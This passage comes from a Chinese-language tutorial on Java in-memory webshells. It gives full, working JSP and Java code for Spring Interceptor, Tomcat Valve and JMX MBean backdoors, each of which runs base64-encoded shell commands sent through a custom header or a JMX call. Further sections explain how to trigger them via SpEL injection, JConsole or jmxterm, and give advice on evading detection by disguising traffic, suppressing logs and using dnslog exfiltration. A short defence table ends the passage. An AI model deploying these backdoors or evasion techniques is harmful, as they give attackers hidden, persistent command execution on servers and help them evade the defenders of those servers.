for (HandlerInterceptor inter : interceptors) { if (inter.getClass().getName().contains("InterceptorMemShell")) { return; } }
interceptors.add(evilInterceptor); } }
|
通过controller触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.example.demo;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController;
@RestController public class VulnController { @GetMapping("/inject") public String inject() throws Exception { InterceptorMemShell.inject(); return "OK"; } }
|

- 若应用中存在
@Value("#{userInput}")
或 Thymeleaf 表达式注入;
- 且
InterceptorMemShell
类已存在(或通过其他方式加载),则直接:
1
| T(com.example.demo.InterceptorMemShell).inject()
|
Tomcat Valve 内存马
- 挂载点:Tomcat Pipeline
Valve
。
- 原理:
Valve
是 Tomcat 请求处理管道中的核心组件,每个请求在到达目标 Servlet 之前都会经过一系列的Valve
。攻击者通过反射将自定义的恶意Valve
动态加入到 Tomcat 的Pipeline
中,从而在所有请求处理的前后插入恶意逻辑。
- 企业级危害:影响范围广且隐蔽性强,能够全局拦截和处理 Tomcat 接收到的所有请求,比 Filter 更底层。可以实现通用性的数据窃取、流量劫持或命令执行。
什么是 Tomcat Valve
Tomcat 使用 Pipeline-Valve 模式 处理请求
1 2 3
| Connector → Engine → Host → Context → Wrapper (Servlet) ↑ ↑ ↑ EngineValve → HostValve → ContextValve → ...
|
每个容器(Engine/Host/Context)都有一个 Pipeline,里面是一系列 Valve(阀门),请求依次流经这些 Valve
Valve早于 Spring、Filter、Servlet 执行,因此能绕过大多数基于应用层的 RASP、WAF 和日志审计。
- 可在 任意请求到达 Servlet 之前 插入逻辑
- 执行顺序:早于 Filter、早于 Spring DispatcherServlet
- 即使应用无任何接口,也能触发(只要 Tomcat 在运行)
- 可拦截所有请求(包括 404)
内存马
- 动态创建一个继承
ValveBase
的恶意 Valve
- 获取 Tomcat 的
StandardContext
- 调用
context.getPipeline().addValve(evilValve)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="javax.servlet.ServletException" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.Base64" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %>
<% try { javax.servlet.ServletContext servletContext = request.getServletContext();
Field facadeContextField = servletContext.getClass().getDeclaredField("context"); facadeContextField.setAccessible(true); Object applicationContext = facadeContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); Object standardContextObj = standardContextField.get(applicationContext);
if (!(standardContextObj instanceof StandardContext)) { out.println("[-] Failed to get StandardContext, got: " + standardContextObj.getClass().getName()); return; }
StandardContext standardContext = (StandardContext) standardContextObj; out.println("[+] Successfully got StandardContext: " + standardContext.getName());
ValveBase evilValve = new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException, ServletException { if ("/tomcat-memshell".equals(request.getRequestURI())) { String cmdHeader = request.getHeader("X-Cmd"); if (cmdHeader != null && !cmdHeader.isEmpty()) { try { String cmd = new String(Base64.getDecoder().decode(cmdHeader)); Process p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = Runtime.getRuntime().exec("cmd.exe /c " + cmd); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); }
InputStream in = p.getInputStream(); ByteArrayOutputStream buffer = new ByteArrayOutputStream(); byte[] data = new byte[4096]; int nRead; while ((nRead = in.read(data, 0, data.length)) != -1) { buffer.write(data, 0, nRead); } byte[] result = buffer.toByteArray();
response.setStatus(200); response.getWriter().write(new String(result)); response.flushBuffer(); return; } catch (Exception e) { e.printStackTrace(); } } } getNext().invoke(request, response); } };
standardContext.getPipeline().addValve(evilValve); out.println("[+] Tomcat Valve 内存马注入成功!"); out.println("访问路径: /tomcat-memshell"); out.println("Header: X-Cmd=Base64(命令)");
} catch (Exception e) { e.printStackTrace(); out.println("[-] Error: " + e.getMessage()); } %>
|

MBean 内存马
- 挂载点:JMX MBean。
- 原理:Java Management Extensions (JMX) 允许对 Java 应用程序进行管理和监控。攻击者可以注册恶意的
MBean
,并通过 JMX 远程调用这些MBean
中定义的方法,从而实现远程代码执行 (RCE) 或其他恶意操作。
- 企业级危害:如果 JMX 端口暴露或存在弱认证,攻击者可以直接通过 JMX 远程管理协议触发内存马,实现高度隐蔽的 RCE,尤其是在管理工具或监控系统中可能被忽视。
JMX与MBean
- 什么是 JMX?
- JMX(Java Management Extensions) 是 Java 平台标准的监控与管理框架。
- 允许开发者暴露应用内部状态(如内存、线程、连接池)供外部管理工具(如 JConsole、VisualVM)查看和操作。
- 所有 Java 应用(包括 Tomcat、Spring Boot)默认启动一个 Platform MBeanServer。
- 什么是 MBean?
- MBean(Managed Bean) 是 JMX 中被管理的对象。
- 通常是一个 Java POJO 类,遵循特定命名规范(如
MyServiceMBean
接口 + MyService
实现类),或实现 DynamicMBean
接口。
- MBean 可以暴露:
- 属性(Attributes):如
getThreadCount()
- 操作(Operations):如
gc()
、reloadConfig()
- MBeanServer 是什么?
- MBeanServer 是 MBean 的注册中心和调度器。
- 所有 MBean 必须注册到 MBeanServer 才能被管理。
- 获取方式:
1
| MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
|
内存马
适用于 Tomcat、Spring Boot 等支持 JMX 的 Java 应用。它通过注册一个恶意的 MBean(Managed Bean) 到 MBeanServer,利用 JMX 的远程管理能力实现命令执行。
- JMX(Java Management Extensions) 是 Java 内置的监控和管理框架。
- 所有 Java 应用默认启动一个 Platform MBeanServer。
- 攻击者可动态注册一个 恶意 MBean(实现
DynamicMBean
或普通 POJO + MBean
接口)。
- 通过 JConsole / jmxterm / HTTP JMX Proxy 调用其方法,实现命令执行。
- 优势:
- 无需修改 Web 层(Filter/Servlet/Valve)
- 不依赖 Tomcat 内部类(兼容 Spring Boot JAR / WAR)
- 默认开启(除非显式关闭 JMX)
shell.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| <%@ page import="javax.management.*" %> <%@ page import="java.lang.management.ManagementFactory" %> <%@ page import="java.util.Base64" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.util.Arrays" %>
<% try { MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
String domain = mbs.getDefaultDomain(); ObjectName name = new ObjectName(domain + ":type=Service,name=MetricsCollector"); System.out.println(name);
if (mbs.isRegistered(name)) { out.println("[+] MBean 已存在,跳过注入"); } else { DynamicMBean evilMBean = new DynamicMBean() { @Override public Object getAttribute(String attribute) throws AttributeNotFoundException, MBeanException, ReflectionException { return null; }
@Override public void setAttribute(Attribute attribute) {}
@Override public AttributeList getAttributes(String[] attributes) { return new AttributeList(); }
@Override public AttributeList setAttributes(AttributeList attributes) { return attributes; }
@Override public Object invoke(String actionName, Object[] params, String[] signature) throws MBeanException, ReflectionException { if ("exec".equals(actionName) && params != null && params.length == 1) { try { String cmd = new String(Base64.getDecoder().decode(((String) params[0]).trim())); Process p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = Runtime.getRuntime().exec("cmd.exe /c " + cmd); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); }
InputStream in = p.getInputStream(); ByteArrayOutputStream buffer = new ByteArrayOutputStream(); byte[] data = new byte[4096]; int nRead; while ((nRead = in.read(data, 0, data.length)) != -1) { buffer.write(data, 0, nRead); } byte[] result = buffer.toByteArray();
InputStream err = p.getErrorStream(); if (err.available() > 0) { buffer.reset(); while ((nRead = err.read(data, 0, data.length)) != -1) { buffer.write(data, 0, nRead); } result = buffer.toByteArray(); }
return Base64.getEncoder().encodeToString(result); } catch (Exception e) { return "error"; } } return null; }
@Override public MBeanInfo getMBeanInfo() { MBeanOperationInfo[] ops = { new MBeanOperationInfo("exec", "Execute command", new MBeanParameterInfo[]{new MBeanParameterInfo("cmd", "java.lang.String", "Base64 command")}, "java.lang.String", MBeanOperationInfo.ACTION) }; return new MBeanInfo(this.getClass().getName(), "Metrics Collector", new MBeanAttributeInfo[0], new MBeanConstructorInfo[0], ops, new MBeanNotificationInfo[0]); } };
mbs.registerMBean(evilMBean, name); out.println("[+] MBean 内存马注入成功!"); }
} catch (Exception e) { out.println("[-] 注入失败"); } %>
|
3种方式调用jmx
- http
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <%@ page import="javax.management.*" %> <%@ page import="java.lang.management.ManagementFactory" %> <%@ page import="java.util.Base64" %> <% try { String cmd = request.getParameter("cmd"); if (cmd == null || cmd.isEmpty()) { out.println("Usage: ?cmd=id"); return; }
String b64cmd = Base64.getEncoder().encodeToString(cmd.getBytes("UTF-8"));
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer(); ObjectName name = new ObjectName("DefaultDomain:type=Service,name=MetricsCollector"); Object result = mbs.invoke(name, "exec", new Object[]{b64cmd}, new String[]{"java.lang.String"});
String output = new String(Base64.getDecoder().decode((String) result), "UTF-8"); out.println("<pre>" + output + "</pre>"); } catch (Exception e) { out.println("Error"); } %>
|

- 本地JConsole
1 2 3 4
| jps -l # 输出示例: # 12345 org.apache.catalina.startup.Bootstrap jconsole 12345
|
- 切换到 MBeans 标签页
- 左侧树形菜单展开:
Catalina(此处是DefaultDomain)
→ Service
- 点击
MetricsCollector
- 切换到 Operations 子标签
- 找到
exec
方法,在输入框中填入命令的 Base64(如 d2hvYW1p
)
- 点击 exec 按钮

- 远程JMX连接(需要开启远程JMX)
适用场景:目标 Java 应用 显式开启了远程 JMX(生产环境较少见)。
1 2 3 4
| -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false
|
jconsole target_ip:9999
和本地操作一致
或使用命令行工具 jmxterm
1 2 3 4 5 6 7
| # 下载 jmxterm.jar(https: java -jar jmxterm.jar -l target_ip:9999 -u user -p password
# 在 jmxterm 中操作 > bean Catalina:type=Service,name=MetricsCollector > run exec aWQ= # 返回 Base64 结果,本地解码
|
销毁Mbean内存马
- 注册后,该 MBean 成为 JVM 管理体系的一部分。
- 生命周期与 JVM 一致。
即重新部署web应用或者重启tomcat都会销毁Mbean内存马
Agent 内存马
- 挂载点:JVM Instrumentation API /
sun.misc.Unsafe
API。
- 原理:这是最复杂也最强大的内存马类型。攻击者利用 Java Agent 或
sun.misc.Unsafe
等底层 API,动态修改或替换已加载类的字节码。例如,Hook 关键的安全检查方法、数据库操作方法或命令执行方法,直接在程序核心逻辑中植入后门。
- 企业级危害:极难检测,隐蔽性最高。它直接篡改 JVM 内部运行的类,可以绕过大多数应用层面的检测,实现深度持久化,甚至可以劫持类加载过程,阻碍后续的修复和检测。
总结
利用
各内存马执行顺序
[容器层]
- Tomcat Valve 内存马
- 执行时机:最早,在请求进入 Web 应用前就已执行
- 可拦截所有请求(包括未映射路径、静态资源)
- 绕过 Web 应用层所有安全机制
[Web 应用层]
- ServletContextListener内存马,web应用启动时(不参与http)
- HttpSessionListener内存马(可前可后,取决于何时调用 getSession()
- ServletRequestListener内存马
ServletRequestListener.requestInitialized()
在filter之前
- Filter 内存马
[Servlet 层]
- Servlet内存马
[Spring MVC 层]
- Spring Interceptor 内存马(preHandle)
- Spring Controller 内存马(@RequestMapping 方法)
[响应返回]
请求的逆序
使用场景分类
场景 |
推荐内存马类型 |
理由 |
快速上线、通用兼容 |
Filter |
无需框架、全局拦截、代码简单、清除需重部署 |
长期潜伏、对抗清除 |
Listener + Filter |
Listener 可监听 Context 重启并重新注入 Filter |
高权限、深度隐藏 |
Tomcat Valve |
在 Filter 之前执行,日志/监控常忽略 |
绕过 RASP/Spring |
Java Agent |
不经过 Web 层,直接 Hook,RASP 无法拦截 |
远程管理、后渗透 |
MBean |
可通过 JConsole / JMX 远程执行,适合内网横向 |
Spring 环境快速利用 |
Spring Controller |
无需反射,直接注入 HandlerMapping,但易被刷新 |
提高隐蔽性总体方向
- 路径/参数/文件名无敏感词
- 自定义 Header/json传参
- 请求参数和返回值编码
- dnslog等外带
- 响应伪装成正常业务(状态码、Content-Type、Body、json,静态资源、业务路径)
- 不打印日志、不抛异常
- 敏感字符串运行时拼接
终极原则:让流量看起来像正常用户,让内存看起来像正常框架,让文件系统无痕迹。
防御
内存马需要能执行Java代码,通过防御webshell如上传jsp、反序列化漏洞等就能使内存马无法注入。
内存马类型 |
防御手段 |
Filter / Servlet / Listener |
监控 ServletContext.addXxx() 调用;启用 SecurityManager;部署后禁止动态注册 |
Spring Controller |
禁用 Actuator /refresh ;监控 RequestMappingHandlerMapping 修改 |
Java Agent |
禁止 -javaagent 参数;限制 attach 权限;使用 JVMTI 监控 |
Tomcat Valve |
审计 server.xml ;监控 StandardEngine/Host/Pipeline 反射调用 |
MBean |
关闭不必要的 JMX 端口;启用 JMX 认证;监控 MBeanServer.registerMBean |